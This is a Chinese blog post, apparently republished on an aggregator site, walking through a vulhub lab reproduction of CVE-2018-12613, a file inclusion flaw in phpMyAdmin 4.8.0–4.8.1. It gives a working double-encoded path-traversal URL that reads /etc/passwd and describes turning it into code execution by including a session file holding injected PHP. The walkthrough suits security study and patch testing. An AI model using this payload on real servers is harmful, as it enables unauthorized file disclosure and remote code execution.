phpmyadmin 4.8.1 远程文件包含漏洞

phpmyadmin 4.8.1 远程文件包含漏洞,第1张

概述phpmyadmin4.8.1远程文件包含漏洞phpmyadmin4.8.1远程文件包含漏洞(CVE-2018-12613)phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。漏洞环境我们先下载环境,在github有 phpmyadmin 4.8.1 远程文件包含漏洞
phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

phpmyadmin是一套开源的、基于Web的MysqL数据库管理工具。其index.PHP中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。


漏洞环境

我们先下载环境,在github有别人直接搭建好的docker环境我们直接拿来用即可

git clone git://github.com/vulhub/vulhub.gitcd vulhub/phpmyadmin/CVE-2018-12613/docker-compose up -d

访问IP:8080即可进入phpmyadmin,由于配置的config模式,所以无需输入账号密码直接登录的test账户


影响版本

phpmyadmin

4.8.0

4.8.1


漏洞复现

phpmyadmin 4.8.1版本的index.PHP中存在文件包含漏洞,通过二次编码可绕过过滤。

因为在index.PHP中会对target值做判断,但是只要在白名单就会返回true

白名单如下:

     'db_datadict.PHP',     'db_sql.PHP',     'db_events.PHP',     'db_export.PHP',     'db_importdocsql.PHP',     'db_multi_table_query.PHP',     'db_structure.PHP',     'db_import.PHP',     'db_operations.PHP',     'db_search.PHP',     'db_routines.PHP',     'export.PHP',     'import.PHP',     'index.PHP',     'pdf_pages.PHP',     'pdf_schema.PHP',     'server_binlog.PHP',     'server_collations.PHP',     'server_databases.PHP',     'server_engines.PHP',     'server_export.PHP',     'server_import.PHP',     'server_privileges.PHP',     'server_sql.PHP',     'server_status.PHP',     'server_status_advisor.PHP',     'server_status_monitor.PHP',     'server_status_querIEs.PHP',     'server_status_variables.PHP',     'server_variables.PHP',     'sql.PHP',     'tbl_addfIEld.PHP',     'tbl_change.PHP',     'tbl_create.PHP',     'tbl_import.PHP',     'tbl_indexes.PHP',     'tbl_sql.PHP',     'tbl_export.PHP',     'tbl_operations.PHP',     'tbl_structure.PHP',     'tbl_relation.PHP',     'tbl_replace.PHP',     'tbl_row_action.PHP',     'tbl_select.PHP',     'tbl_zoom_select.PHP',     'transformation_overvIEw.PHP',     'transformation_wrapper.PHP',     'user_password.PHP',

page是取出page问号前的东西,是考虑到target有参数的情况,只要$_page在白名单中就直接return true 但还考虑了url编码的情况,所以如果这步判断未成功,下一步又进行url解码,所以传入二次编码后的内容,会让checkPageValIDity()这个函数返回true.但index中实际包含的内容却不是白名单中的文件 例如传入 ?target=db_datadict.PHP%253f 由于服务器会自动解码一次,所以在checkPageValIDity()中,$page的值一开始会是db_datadict.PHP%3f,再次解码成为 db_datadict.PHP? 就可造成任意文件包含.构造UR了

ip/index.PHP?target=db_sql.PHP%253f/../../../../../../../../../etc/passwd

通过包含session临时文件来实现命令执行

我们先开始执行一个SELECT '<?PHP PHPinfo(); ?>' 命令然后查看session值来访问临时文件

使用文件包含漏洞访问该临时文件,发现命令执行成功

总结

以上是内存溢出为你收集整理的phpmyadmin 4.8.1 远程文件包含漏洞全部内容,希望文章能够帮你解决phpmyadmin 4.8.1 远程文件包含漏洞所遇到的程序开发问题。

如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/langs/1001112.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-21
下一篇 2022-05-21

发表评论

登录后才能评论

评论列表(0条)

保存